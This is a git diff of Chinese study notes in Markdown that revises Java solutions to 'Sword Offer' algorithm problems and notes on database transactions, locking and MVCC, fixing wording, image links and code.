@ -772,7 +753,7 @@ public double Power(double base, int exponent) {
}
double pow = Power(base * base, exponent / 2);
if (exponent % 2 != 0) pow = pow * base;
return isNegative ? 1 / pow : pow;
return isNegative ? (1 / pow) : pow;
}
```
@ -805,6 +786,13 @@ private void print1ToMaxOfNDigits(char[] number, int digit) {
print1ToMaxOfNDigits(number, digit + 1);
}
}
private void printNumber(char[] number) {
int index = 0;
while (index < number.length && number[index] == '0') index++;
while (index < number.length) System.out.print(number[index++]);
System.out.println();
}
```
# 18.1 在 O(1) 时间内删除链表节点
@ -813,13 +801,13 @@ private void print1ToMaxOfNDigits(char[] number, int digit) {
① 如果该节点不是尾节点,那么可以直接将下一个节点的值赋给该节点,令该节点指向下下个节点,然后删除下一个节点,时间复杂度为 O(1)。
<div align="center"> <img src="../pics//72f9bc11-06a9-40b4-8939-14f72e5cb4c3.png"/> </div><br>
<div align="center"> <img src="../pics//41392d76-dd1d-4712-85d9-e8bb46b04a2d.png" width="600"/> </div><br>
② 否则,就需要先遍历链表,找到节点的前一个节点,然后让前一个节点指向 null时间复杂度为 O(N)。
<div align="center"> <img src="../pics//2a398239-ee47-4ea1-b2d8-0ced638839ef.png"/> </div><br>
<div align="center"> <img src="../pics//db4921d4-184b-48ba-a3cf-1d1141e3ba2d.png" width="600"/> </div><br>
综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个为节点以 O(n) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。
综上,如果进行 N 次操作,那么大约需要操作节点的次数为 N-1+N=2N-1其中 N-1 表示 N-1 个不是尾节点的每个节点以 O(1) 的时间复杂度操作节点的总次数N 表示 1 个尾节点以 O(N) 的时间复杂度操作节点的总次数。(2N-1)/N \~ 2因此该算法的平均时间复杂度为 O(1)。
```java
public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
@ -842,10 +830,7 @@ public ListNode deleteNode(ListNode head, ListNode tobeDelete) {
## 题目描述
```html
Input : 1->2->3->3->4->4->5
Output : 1->2->5
```
<div align="center"> <img src="../pics//8433fbb2-c35c-45ef-831d-e3ca42aebd51.png" width="500"/> </div><br>
## 解题描述
@ -871,17 +856,17 @@ public ListNode deleteDuplication(ListNode pHead) {
## 解题思路
应该注意到,'.' 是用来代替一个任意字符,而 '\*' 是用来重复前面的字符。这两个的作用不同,不能把 '.' 的作用和 '\*' 进行类比,从而它当成重复前面字符一次。
应该注意到,'.' 是用来当做一个任意字符,而 '\*' 是用来重复前面的字符。这两个的作用不同,不能把 '.' 的作用和 '\*' 进行类比,从而它当成重复前面字符一次。
```html
p.charAt(j) == s.charAt(i) : dp[i][j] = dp[i-1][j-1];
p.charAt(j) == '.' : dp[i][j] = dp[i-1][j-1];
p.charAt(j) == '*' :
p.charAt(j-1) != s.charAt(i) : dp[i][j] = dp[i][j-2] // in this case, a* only counts as empty
p.charAt(j-1) != s.charAt(i) : dp[i][j] = dp[i][j-2] //a* only counts as empty
p.charAt(j-1) == s.charAt(i) or p.charAt(i-1) == '.':
dp[i][j] = dp[i-1][j] // in this case, a* counts as multiple a
or dp[i][j] = dp[i][j-1] // in this case, a* counts as single a
or dp[i][j] = dp[i][j-2] // in this case, a* counts as empty
dp[i][j] = dp[i-1][j] // a* counts as multiple a
or dp[i][j] = dp[i][j-1] // a* counts as single a
or dp[i][j] = dp[i][j-2] // a* counts as empty
```
```java
@ -933,7 +918,7 @@ public boolean isNumeric(char[] str) {
## 解题思路
复杂度O(n<sup>2</sup>) + O(1)
复杂度O(N<sup>2</sup>) + O(1)
```java
public void reOrderArray(int[] nums) {
@ -953,7 +938,7 @@ public void reOrderArray(int[] nums) {
}
```
复杂度O(n) + O(n)
复杂度O(N) + O(N)
```java
public void reOrderArray(int[] nums) {
@ -976,7 +961,7 @@ public void reOrderArray(int[] nums) {
## 解题思路
<div align="center"> <img src="../pics//40d96c0d-156f-4eee-a183-2d597344f1cd.png"/> </div><br>
<div align="center"> <img src="../pics//207c1801-2335-4b1b-b65c-126a0ba966cb.png" width="500"/> </div><br>
```java
public ListNode FindKthToTail(ListNode head, int k) {
@ -1001,7 +986,7 @@ public ListNode FindKthToTail(ListNode head, int k) {
在相遇点slow 要到环的入口点还需要移动 z 个节点,如果让 fast 重新从头开始移动,并且速度变为每次移动一个节点,那么它到环入口点还需要移动 x 个节点。在上面已经推导出 x=z因此 fast 和 slow 将在环入口点相遇。
<div align="center"> <img src="../pics//e7d7dc0d-fc22-4f95-8768-b8a216168792.jpg"/> </div><br>
<div align="center"> <img src="../pics//71363383-2d06-4c63-8b72-c01c2186707d.png" width="600"/> </div><br>
```java
public ListNode EntryNodeOfLoop(ListNode pHead) {
@ -1059,7 +1044,7 @@ public ListNode ReverseList(ListNode head) {
## 题目描述
<div align="center"> <img src="../pics//79f28233-f5cb-492a-9dc4-696cb714d434.png"/> </div><br>
<div align="center"> <img src="../pics//43f2cafa-3568-4a89-a895-4725666b94a6.png" width="500"/> </div><br>
## 解题思路
@ -1105,7 +1090,7 @@ public ListNode Merge(ListNode list1, ListNode list2) {
## 题目描述
<div align="center"> <img src="../pics//26223561-eea4-463c-8ddb-3bb456c76267.png"/> </div><br>
<div align="center"> <img src="../pics//4583e24f-424b-4d50-8a14-2c38a1827d4a.png" width="500"/> </div><br>
## 解题思路
@ -1128,7 +1113,7 @@ private boolean isSubtree(TreeNode root1, TreeNode root2) {
## 题目描述
<div align="center"> <img src="../pics//7cfcfdf7-63a7-4111-a677-2eca29fbcf24.png"/> </div><br>
<div align="center"> <img src="../pics//a2d13178-f1ef-4811-a240-1fe95b55b1eb.png" width="300"/> </div><br>
## 解题思路
@ -1147,17 +1132,11 @@ private void swap(TreeNode root) {
}
```
# 28.1 对称的二叉树
# 28 对称的二叉树
## 题目描述
```html
1
/ \
2 2
/ \ / \
3 4 4 3
```
<div align="center"> <img src="../pics//f42443e0-208d-41ea-be44-c7fd97d2e3bf.png" width="300"/> </div><br>
## 解题思路
@ -1175,48 +1154,13 @@ boolean isSymmetrical(TreeNode t1, TreeNode t2) {
}
```
# 28.2 平衡二叉树
## 题目描述
```html
3
/ \
9 20
/ \
15 7
```
平衡二叉树左右子树高度差不超过 1。
## 解题思路
```java
private boolean isBalanced = true;
public boolean IsBalanced_Solution(TreeNode root) {
height(root);
return isBalanced;
}
private int height(TreeNode root) {
if (root == null) return 0;
int left = height(root.left);
int right = height(root.right);
if (Math.abs(left - right) > 1) isBalanced = false;
return 1 + Math.max(left, right);
}
```
# 29. 顺时针打印矩阵
## 题目描述
下图的矩阵顺时针打印结果为1, 2, 3, 4, 8, 12, 16, 15, 14, 13, 9, 5, 6, 7, 11, 10
<div align="center"> <img src="../pics//8615d9f7-bd1d-4240-8bb4-02b941d54a6f.png"/> </div><br>
<div align="center"> <img src="../pics//6afa9796-af1a-4495-9f02-63349ab68a19.png"/> </div><br>
<div align="center"> <img src="../pics//0f373947-c68f-45b4-a59e-086154745ac5.png" width="300"/> </div><br>
## 解题思路
@ -1277,6 +1221,8 @@ public int min() {
## 解题思路
使用一个栈来模拟压入弹出操作。
```java
public boolean IsPopOrder(int[] pushA, int[] popA) {
int n = pushA.length;
@ -1298,9 +1244,9 @@ public boolean IsPopOrder(int[] pushA, int[] popA) {
从上往下打印出二叉树的每个节点,同层节点从左至右打印。
例如,以下二叉树层次遍历的结果为 8, 6, 10, 5, 7, 9, 11
例如,以下二叉树层次遍历的结果为1,2,3,4,5,6,7
<div align="center"> <img src="../pics//c8cdfa3d-d610-4731-9d89-564252378e7d.png"/> </div><br>
<div align="center"> <img src="../pics//348bc2db-582e-4aca-9f88-38c40e9a0e69.png" width="250"/> </div><br>
## 解题思路
@ -1394,9 +1340,9 @@ public ArrayList<ArrayList<Integer>> Print(TreeNode pRoot) {
输入一个整数数组,判断该数组是不是某二叉搜索树的后序遍历的结果。
例如,下图中后序遍历序列 5, 7, 6, 9, 11, 10, 8 所对应的二叉搜索树。
例如,下图是后序遍历序列 3,1,2 所对应的二叉搜索树。
<div align="center"> <img src="../pics//b5af9ee6-97e6-446b-9551-6dfe96770d1a.png"/> </div><br>
<div align="center"> <img src="../pics//836a4eaf-4798-4e48-b52a-a3dab9435ace.png" width="150"/> </div><br>
## 解题思路
@ -1426,7 +1372,7 @@ private boolean verify(int[] sequence, int first, int last) {
下图的二叉树有两条和为 22 的路径10, 5, 7 和 10, 12
<div align="center"> <img src="../pics//a1ced733-02f5-4091-8f5a-ab9b4e5a3525.png"/> </div><br>
<div align="center"> <img src="../pics//f5477abd-c246-4851-89ab-6b1cde2549b1.png" width="200"/> </div><br>
## 解题思路
@ -1458,21 +1404,21 @@ private void dfs(TreeNode node, int target, ArrayList<Integer> path) {
输入一个复杂链表(每个节点中有节点值,以及两个指针,一个指向下一个节点,另一个特殊指针指向任意一个节点),返回结果为复制后复杂链表的 head。
<div align="center"> <img src="../pics//4f67aa74-5bf5-4ea4-9a6e-2e07d8f5fa86.png"/> </div><br>
<div align="center"> <img src="../pics//a01d1516-8168-461a-a24b-620b9cfc40f4.png" width="300"/> </div><br>
## 解题思路
第一步,在每个节点的后面插入复制的节点。
<div align="center"> <img src="../pics//52726d32-e97a-49dd-8419-04d30a9f9050.png"/> </div><br>
<div align="center"> <img src="../pics//2e6c72f5-3b8e-4e32-b87b-9491322628fe.png" width="600"/> </div><br>
第二步,对复制节点的 random 链接进行赋值。
<div align="center"> <img src="../pics//c5409a64-81fc-48c1-9790-ffa0afdb7bf5.png"/> </div><br>
<div align="center"> <img src="../pics//323ffd6c-8b54-4f3e-b361-555a6c8bf218.png" width="600"/> </div><br>
第三步,拆分。
<div align="center"> <img src="../pics//15e1edf0-8908-4815-af5e-a74e456da23b.png"/> </div><br>
<div align="center"> <img src="../pics//8f3b9519-d705-48fe-87ad-2e4052fc81d2.png" width="600"/> </div><br>
```java
public RandomListNode Clone(RandomListNode pHead) {
@ -1514,7 +1460,7 @@ public RandomListNode Clone(RandomListNode pHead) {
输入一棵二叉搜索树,将该二叉搜索树转换成一个排序的双向链表。要求不能创建任何新的结点,只能调整树中结点指针的指向。
<div align="center"> <img src="../pics//9cd97f41-fd9c-405c-aca1-9c82d24e20dc.png"/> </div><br>
<div align="center"> <img src="../pics//79b12431-6d9d-4a7d-985b-1b79bc5bf5fb.png" width="400"/> </div><br>
## 解题思路
@ -1554,7 +1500,7 @@ public class Solution {
public String Serialize(TreeNode root) {
if (root == null) return "#";
return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
return root.val + " " + Serialize(root.left) + " " + Serialize(root.right);
}
public TreeNode Deserialize(String str) {
@ -1617,7 +1563,7 @@ private void backtracking(char[] chars, boolean[] hasUsed, StringBuffer s) {
## 解题思路
多数投票问题,可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题,使得时间复杂度为 O(n)。
多数投票问题,可以利用 Boyer-Moore Majority Vote Algorithm 来解决这个问题,使得时间复杂度为 O(N)。
使用 cnt 来统计一个元素出现的次数,当遍历到的元素和统计元素不相等时,令 cnt--。如果前面查找了 i 个元素,且 cnt == 0 ,说明前 i 个元素没有 majority或者有 majority但是出现的次数少于 i / 2 ,因为如果多于 i / 2 的话 cnt 就一定不会为 0 。此时剩下的 n - i 个元素中majority 的数目依然多于 (n - i) / 2因此继续查找就能找出 majority。
@ -2027,6 +1973,8 @@ public int GetUglyNumber_Solution(int N) {
## 解题思路
最直观的解法是使用 HashMap 对出现次数进行统计,但是考虑到要统计的字符范围有限,因此可以使用整型数组代替 HashMap。
```java
public int FirstNotRepeatingChar(String str) {
int[] cnts = new int[256];
@ -2036,6 +1984,24 @@ public int FirstNotRepeatingChar(String str) {
}
```
以上实现的空间复杂度还不是最优的。考虑到只需要找到只出现一次的字符,那么我们只需要统计的次数信息只有 0,1,更大,那么使用两个比特位就能存储这些信息。
```java
public int FirstNotRepeatingChar(String str) {
BitSet bs1 = new BitSet(256);
BitSet bs2 = new BitSet(256);
for (char c : str.toCharArray()) {
if (!bs1.get(c) && !bs2.get(c)) bs1.set(c); // 0 0
else if (bs1.get(c) && !bs2.get(c)) bs2.set(c); // 0 1
}
for (int i = 0; i < str.length(); i++) {
char c = str.charAt(i);
if (bs1.get(c) && !bs2.get(c)) return i;
}
return -1;
}
```
# 51. 数组中的逆序对
## 题目描述
@ -2070,7 +2036,7 @@ private void merge(int[] nums, int first, int mid, int last) {
else if (nums[i] < nums[j]) tmp[k] = nums[i++];
else {
tmp[k] = nums[j++];
this.cnt += mid - i + 1; // a[i] > a[j],说明 a[i...mid] 都大于 a[j]
this.cnt += mid - i + 1; // nums[i] > nums[j],说明 nums[i...mid] 都大于 nums[j]
}
k++;
}
@ -2084,19 +2050,13 @@ private void merge(int[] nums, int first, int mid, int last) {
## 题目描述
```html
A: a1 → a2
c1 → c2 → c3
B: b1 → b2 → b3
```
<div align="center"> <img src="../pics//8f6f9dc9-9ecd-47c8-b50e-2814f0219056.png" width="500"/> </div><br>
## 解题思路
设 A 的长度为 a + cB 的长度为 b + c其中 c 为尾部公共部分长度,可知 a + c + b = b + c + a。
当访问 A 链表的指针访问到链表尾部时,令它从链表 B 的头部开始访问链表 B同样地当访问 B 链表的指针访问到链表尾部时,令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
当访问 A 链表的指针访问到链表尾部时,令它从链表 B 的头部重新开始访问链表 B同样地当访问 B 链表的指针访问到链表尾部时,令它从链表 A 的头部重新开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。
```java
public ListNode FindFirstCommonNode(ListNode pHead1, ListNode pHead2) {
@ -2123,7 +2083,10 @@ Output:
## 解题思路
可以用二分查找找出数字在数组的最左端和最右端。
可以用二分查找找出数字在数组的最左端和最右端,找最左端和最右端在方法实现上的区别主要在于对 nums[m] == K 的处理:
- 找最左端令 h = m - 1
- 找最右端令 l = m + 1
```java
public int GetNumberOfK(int[] nums, int K) {
@ -2155,7 +2118,7 @@ private int getLastK(int[] nums, int K) {
}
```
# 54. 二叉搜索树的第 k 个结点
# 54. 二叉搜索树的第 K 个结点
## 解题思路
@ -2180,7 +2143,15 @@ private void inOrder(TreeNode root, int k) {
}
```
# 55 二叉树的深度
# 55.1 二叉树的深度
## 题目描述
从根结点到叶结点依次经过的结点(含根、叶结点)形成树的一条路径,最长路径的长度为树的深度。
<div align="center"> <img src="../pics//b29f8971-9cb8-480d-b986-0e60c2ece069.png" width="350"/> </div><br>
## 解题思路
```java
public int TreeDepth(TreeNode root) {
@ -2189,6 +2160,34 @@ public int TreeDepth(TreeNode root) {
}
```
# 55.2 平衡二叉树
## 题目描述
平衡二叉树左右子树高度差不超过 1。
<div align="center"> <img src="../pics//e026c24d-00fa-4e7c-97a8-95a98cdc383a.png" width="300"/> </div><br>
## 解题思路
```java
private boolean isBalanced = true;
public boolean IsBalanced_Solution(TreeNode root) {
height(root);
return isBalanced;
}
private int height(TreeNode root) {
if (root == null) return 0;
int left = height(root.left);
int right = height(root.right);
if (Math.abs(left - right) > 1) isBalanced = false;
return 1 + Math.max(left, right);
}
```
# 56. 数组中只出现一次的数字
## 题目描述
@ -2220,7 +2219,7 @@ public void FindNumsAppearOnce(int[] array, int num1[], int num2[]) {
## 题目描述
输入一个递增排序的数组和一个数字 S在数组中查找两个数是的他们的和正好是 S如果有多对数字的和等于 S输出两个数的乘积最小的。
输入一个递增排序的数组和一个数字 S在数组中查找两个数使得他们的和正好是 S如果有多对数字的和等于 S输出两个数的乘积最小的。
## 解题思路
@ -2252,26 +2251,25 @@ public ArrayList<Integer> FindNumbersWithSum(int[] array, int sum) {
```java
public ArrayList<ArrayList<Integer>> FindContinuousSequence(int sum) {
ArrayList<ArrayList<Integer>> ret = new ArrayList<>();
int start = 1, end = 2;
int mid = sum / 2;
int first = 1, last = 2;
int curSum = 3;
while (start <= mid && end < sum) {
while (first <= sum / 2 && last < sum) {
if (curSum > sum) {
curSum -= start;
start++;
curSum -= first;
first++;
} else if (curSum < sum) {
end++;
curSum += end;
last++;
curSum += last;
} else {
ArrayList<Integer> list = new ArrayList<>();
for (int i = start; i <= end; i++) {
for (int i = first; i <= last; i++) {
list.add(i);
}
ret.add(list);
curSum -= start;
start++;
end++;
curSum += end;
curSum -= first;
first++;
last++;
curSum += last;
}
}
return ret;
@ -2295,25 +2293,22 @@ public String ReverseSentence(String str) {
if (str.length() == 0) return str;
int n = str.length();
char[] chars = str.toCharArray();
int start = 0, end = 0;
while (end <= n) {
if (end == n || chars[end] == ' ') {
reverse(chars, start, end - 1);
start = end + 1;
int i = 0, j = 0;
while (j <= n) {
if (j == n || chars[j] == ' ') {
reverse(chars, i, j - 1);
i = j + 1;
}
end++;
j++;
}
reverse(chars, 0, n - 1);
return new String(chars);
}
private void reverse(char[] c, int start, int end) {
while (start < end) {
char t = c[start];
c[start] = c[end];
c[end] = t;
start++;
end--;
private void reverse(char[] c, int i, int j) {
while(i < j) {
char t = c[i]; c[i] = c[j]; c[j] = t;
i++; j--;
}
}
```
@ -2327,22 +2322,19 @@ private void reverse(char[] c, int start, int end) {
## 解题思路
```java
public String LeftRotateString(String str, int k) {
if (str.length() == 0) return "";
public String LeftRotateString(String str, int n) {
if(str.length() == 0) return "";
char[] c = str.toCharArray();
reverse(c, 0, k - 1);
reverse(c, k, c.length - 1);
reverse(c, 0, n - 1);
reverse(c, n, c.length - 1);
reverse(c, 0, c.length - 1);
return new String(c);
}
private void reverse(char[] c, int i, int j) {
while (i < j) {
char t = c[i];
c[i] = c[j];
c[j] = t;
i++;
j--;
while(i < j) {
char t = c[i]; c[i] = c[j]; c[j] = t;
i++; j--;
}
}
```
@ -2382,7 +2374,7 @@ public ArrayList<Integer> maxInWindows(int[] num, int size) {
### 动态规划解法
空间复杂度O(n<sup>2</sup>)
空间复杂度O(N<sup>2</sup>)
```java
private static int face = 6;
@ -2410,7 +2402,7 @@ public double countProbability(int n, int s) {
### 动态规划解法 + 旋转数组
空间复杂度O(n)
空间复杂度O(N)
```java
private static int face = 6;
@ -2434,7 +2426,7 @@ public double countProbability(int n, int s) {
flag = 1 - flag;
}
int totalNum = (int) Math.pow(6, n);
return (double) dp[n - 1][s - 1] / totalNum;
return (double) dp[flag][s - 1] / totalNum;
}
```
@ -2447,15 +2439,15 @@ public double countProbability(int n, int s) {
## 解题思路
```java
public boolean isContinuous(int [] numbers) {
if(numbers.length < 5) return false;
Arrays.sort(numbers);
public boolean isContinuous(int[] nums) {
if (nums.length < 5) return false;
Arrays.sort(nums);
int cnt = 0;
for(int num : numbers) if(num == 0) cnt++;
for(int i = cnt; i < numbers.length - 1; i++) {
if(numbers[i + 1] == numbers[i]) return false;
int interval = numbers[i + 1] - numbers[i] - 1;
if(interval > cnt) return false;
for (int num : nums) if (num == 0) cnt++;
for (int i = cnt; i < nums.length - 1; i++) {
if (nums[i + 1] == nums[i]) return false;
int interval = nums[i + 1] - nums[i] - 1;
if (interval > cnt) return false;
cnt -= interval;
}
return true;
@ -2466,11 +2458,11 @@ public boolean isContinuous(int [] numbers) {
## 题目描述
让小朋友们围成一个大圈。然后 , 他随机指定一个数 m, 让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌 , 然后可以在礼品箱中任意的挑选礼物 , 并且不再回到圈中 , 从他的下一个小朋友开始 , 继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友 , 可以不用表演。
让小朋友们围成一个大圈。然后,他随机指定一个数 m让编号为 0 的小朋友开始报数。每次喊到 m-1 的那个小朋友要出列唱首歌,然后可以在礼品箱中任意的挑选礼物,并且不再回到圈中,从他的下一个小朋友开始,继续 0...m-1 报数 .... 这样下去 .... 直到剩下最后一个小朋友,可以不用表演。
## 解题思路
约瑟夫环
约瑟夫环,圆圈长度为 n 的解可以看成长度为 n-1 的解再加上报数的长度 m。因为是圆圈所以最后需要对 n 取余。
```java
public int LastRemaining_Solution(int n, int m) {
@ -2488,6 +2480,8 @@ public int LastRemaining_Solution(int n, int m) {
## 解题思路
使用贪心策略,假设第 i 轮进行卖出操作,买入操作价格应该是 i 之前并且价格最低。
```java
public int maxProfit(int[] prices) {
int n = prices.length;
@ -2520,7 +2514,11 @@ public int Sum_Solution(int n) {
# 65. 不用加减乘除做加法
a ^ b 表示没有考虑进位的情况下两数的和,(a & b) << 1 就是进位递归会终止的原因是 (a & b) << 1 最右边会多一个 0那么继续递归进位最右边的 0 会慢慢增多最后进位会变为 0递归终止
## 解题思路
a ^ b 表示没有考虑进位的情况下两数的和,(a & b) << 1 就是进位
递归会终止的原因是 (a & b) << 1 最右边会多一个 0那么继续递归进位最右边的 0 会慢慢增多最后进位会变为 0递归终止
```java
public int Add(int num1, int num2) {
@ -2553,6 +2551,8 @@ public int[] multiply(int[] A) {
# 67. 把字符串转换成整数
## 解题思路
```java
public int StrToInt(String str) {
if (str.length() == 0) return 0;
@ -2561,7 +2561,7 @@ public int StrToInt(String str) {
int ret = 0;
for (int i = 0; i < chars.length; i++) {
if (i == 0 && (chars[i] == '+' || chars[i] == '-')) continue;
if (chars[i] < '0' || chars[i] > '9') return 0;
if (chars[i] < '0' || chars[i] > '9') return 0; // 非法输入
ret = ret * 10 + (chars[i] - '0');
}
return isNegative ? -ret : ret;
@ -2570,7 +2570,13 @@ public int StrToInt(String str) {
# 68. 树中两个节点的最低公共祖先
树是二叉查找树的最低公共祖先问题:
## 解题思路
### 二叉查找树
<div align="center"> <img src="../pics//293d2af9-de1d-403e-bed0-85d029383528.png" width="300"/> </div><br>
二叉查找树中,两个节点 p, q 的公共祖先 root 满足 p.val <= root.val && root.val <= q.val只要找到满足这个条件的最低层节点即可。换句话说应该先考虑子树的解而不是根节点的解二叉树的后序遍历操作满足这个特性。在本题中我们可以利用后序遍历的特性先在左右子树中查找解最后再考虑根节点的解。
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
@ -2579,3 +2585,22 @@ public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
return root;
}
```
### 普通二叉树
<div align="center"> <img src="../pics//37a72755-4890-4b42-9eab-b0084e0c54d9.png" width="300"/> </div><br>
在左右子树中查找两个节点的最低公共祖先,如果在其中一颗子树中查找到,那么就返回这个解,否则可以认为根节点就是最低公共祖先。
```java
public TreeNode lowestCommonAncestor(TreeNode root, TreeNode p, TreeNode q) {
if (root == null || root == p || root == q) return root;
TreeNode left = lowestCommonAncestor(root.left, p, q);
TreeNode right = lowestCommonAncestor(root.right, p, q);
return left == null ? right : right == null ? left : root;
}
```
# 参考文献
- 何海涛. 剑指 Offer[M]. 电子工业出版社, 2012.

View File

@ -28,7 +28,12 @@
* [数据库的三层模式和两层映像](#数据库的三层模式和两层映像)
* [九、关系数据库建模](#九关系数据库建模)
* [ER 图](#er-图)
* [十、约束](#十约束)
* [十、约束](#十约束)
* [1. 键码](#1-键码)
* [2. 单值约束](#2-单值约束)
* [3. 引用完整性约束](#3-引用完整性约束)
* [4. 域约束](#4-域约束)
* [5. 一般约束](#5-一般约束)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
@ -37,13 +42,13 @@
## 概念
<div align="center"> <img src="../pics//4f4deaf4-8487-4de2-9d62-5ad017ee9589.png"/> </div><br>
<div align="center"> <img src="../pics//185b9c49-4c13-4241-a848-fbff85c03a64.png"/> </div><br>
事务指的是满足 ACID 特性的一系列操作。在数据库中,可以通过 Commit 提交一个事务,也可以使用 Rollback 进行回滚。
## 四大特性
<div align="center"> <img src="../pics//fd945daf-4a6c-4f20-b9c2-5390f5955ce5.jpg" width="500"/> </div><br>
<div align="center"> <img src="../pics//4fc032e0-ac6f-4b42-9182-ee104a25e7a1.png"/> </div><br>
### 1. 原子性Atomicity
@ -71,23 +76,25 @@
T<sub>1</sub> 和 T<sub>2</sub> 两个事务都对一个数据进行修改T<sub>1</sub> 先修改T<sub>2</sub> 随后修改T<sub>2</sub> 的修改覆盖了 T<sub>1</sub> 的修改。
<div align="center"> <img src="../pics//a57a6fc8-c5e9-456c-80ff-a5139dda4b6e.png"/> </div><br>
### 2. 读脏数据
T<sub>1</sub> 修改一个数据T<sub>2</sub> 随后读取这个数据。如果 T<sub>1</sub> 撤销了这次修改,那么 T<sub>2</sub> 读取的数据是脏数据。
<div align="center"> <img src="../pics//d1ab24fa-1a25-4804-aa91-513df55cbaa6.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//dd782132-d830-4c55-9884-cfac0a541b8e.png"/> </div><br>
### 3. 不可重复读
T<sub>2</sub> 读取一个数据T<sub>1</sub> 对该数据做了修改。如果 T<sub>2</sub> 再次读取这个数据,此时读取的结果和和第一次读取的结果不同。
<div align="center"> <img src="../pics//d0175e0c-859e-4991-b263-8378e52f7ee5.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//c8d18ca9-0b09-441a-9a0c-fb063630d708.png"/> </div><br>
### 4. 幻影读
T<sub>1</sub> 读取某个范围的数据T<sub>2</sub> 在这个范围内插入新的数据T<sub>1</sub> 再次读取这个范围的数据,此时读取的结果和和第一次读取的结果不同。
<div align="center"> <img src="../pics//d589eca6-c7cf-49c5-ac96-8e4ca0cccadd.jpg" width="800"/> </div><br>
<div align="center"> <img src="../pics//688dacfe-1057-412f-b3a1-86abb5b0f914.png"/> </div><br>
## 解决方法
@ -125,8 +132,8 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
| - | X | S |
| :--: | :--: | :--: |
|X|Yes|No|
|S|No|No|
|X|No|No|
|S|No|Yes|
### 2. 意向锁
@ -152,7 +159,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
**一级封锁协议**
事务 T 要修改数据 A 时必须加 X 锁,直到事务结束才释放锁。
事务 T 要修改数据 A 时必须加 X 锁,直到 T 结束才释放锁。
可以解决丢失修改问题,因为不能同时有两个事务对同一个数据进行修改,那么一个事务的修改就不会被覆盖。
@ -215,7 +222,7 @@ MySQL 中提供了两种封锁粒度:行级锁以及表级锁。
### 2. 两段锁协议
加锁和解锁分为两个阶段进行,事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁,并且在释放一个封锁之T 不能再获得任何的其它锁。
加锁和解锁分为两个阶段进行,事务 T 对数据 A 进行读或者写操作之前,必须先获得对 A 的封锁,并且在释放一个封锁之T 不能再获得任何的其它锁。
事务遵循两段锁协议是保证并发操作可串行化调度的充分条件。例如以下操作满足两段锁协议,它是可串行化调度。
@ -258,9 +265,7 @@ lock-x(A)...unlock(A)...lock-s(B)...unlock(B)...lock-s(c)...unlock(C)...
# 五、多版本并发控制
Multi-Version Concurrency Control, MVCC是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,它的基本思想是通过保存每个数据行的多个版本,一个事务对数据行做修改时,其它事务可以读取之前的一个版本,并且都是读取相同的版本,从而保证多个事务对同一个数据行读取的结果是一致的。
用于实现提交读和可重复读这两种隔离级别。而对于未提交读隔离级别,它总是读取最新的数据行,无需使用 MVCC可串行化隔离级别需要对所有读取的行都加锁单纯使用 MVCC 无法实现。
Multi-Version Concurrency Control, MVCC是 MySQL 的 InnoDB 存储引擎实现隔离级别的一种具体方式,用于实现提交读和可重复读这两种隔离级别。而未提交读隔离级别总是读取最新的数据行,无需使用 MVCC可串行化隔离级别需要对所有读取的行都加锁单纯使用 MVCC 无法实现。
## 版本号
@ -280,15 +285,17 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
## 实现过程
以下过程针对可重复读隔离级别。
### 1. SELECT
该操作必须保证多个事务读取到同一个数据行的快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
该操作必须保证多个事务读取到同一个数据行的快照,这个快照是最近的一个有效快照。但是也有例外,如果有一个事务正在修改该数据行,那么它可以读取事务本身所做的修改,而不用和其它事务的读取结果一致。
当开始新一个事务时,该事务的版本号肯定会大于所有数据行快照的创建版本号,理解这一点很关键。
当开始新一个事务时,该事务的版本号肯定会大于当前所有数据行快照的创建版本号,理解这一点很关键。
把没对一个数据行做修改的事务称为 T<sub>1</sub>T<sub>1</sub> 所要读取的数据行快照的创建版本号必须小于当前事务的版本号,因为如果大于或者等于当前事务的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
把没对一个数据行做修改的事务称为 TT 所要读取的数据行快照的创建版本号必须小于 T 的版本号,因为如果大于或者等于 T 的版本号,那么表示该数据行快照是其它事务的最新修改,因此不能去读取它。
除了上面的要求T<sub>1</sub> 所要读取的数据行快照的删除版本号必须小于当前事务版本号,因为如果大于或者等于当前事务版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
除了上面的要求T 所要读取的数据行快照的删除版本号必须大于 T 的版本号,因为如果小于等于 T 的版本号,那么表示该数据行快照是已经被删除的,不应该去读取它。
### 2. INSERT
@ -300,7 +307,7 @@ InnoDB 的 MVCC 使用到的快照存储在 Undo 日志中,该日志通过回
### 4. UPDATE
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为作为更新前的数据行快照的删除版本号。可以理解为执行 DELETE 后执行 INSERT。
将系统版本号作为更新后的数据行快照的创建版本号,同时将系统版本号作为作为更新前的数据行快照的删除版本号。可以理解为执行 DELETE 后执行 INSERT。
## 快照读与当前读
@ -322,22 +329,22 @@ update ;
delete;
```
引入当前读的目的主要是为了免去加锁操作带来的性能开销,但是快照读需要加锁。
引入快照读的目的主要是为了免去加锁操作带来的性能开销,但是当前读需要加锁。
# 六、Next-Key Locks
